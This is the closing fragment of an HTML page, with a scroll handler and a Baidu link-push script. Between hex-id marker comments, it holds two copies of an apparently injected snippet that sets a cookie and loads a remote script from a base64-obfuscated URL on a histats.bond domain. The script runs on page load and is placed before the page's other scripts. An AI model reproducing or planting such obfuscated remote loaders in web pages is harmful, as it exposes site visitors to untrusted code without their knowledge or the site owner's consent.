    $(window).scroll((e)=>{
        const top = $(window).scrollTop();
        if (top > 300) $(".scroll-screen").css("pointer-events", "inherit");
        else $(".scroll-screen").css("pointer-events", "none");
    });
});

</script>
  <!--0dcc509a6f75849b--><script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';    
    } else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
<script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script type="text/javascript" src="/tz.js"></script><!--/0dcc509a6f75849b--></body>
</html>
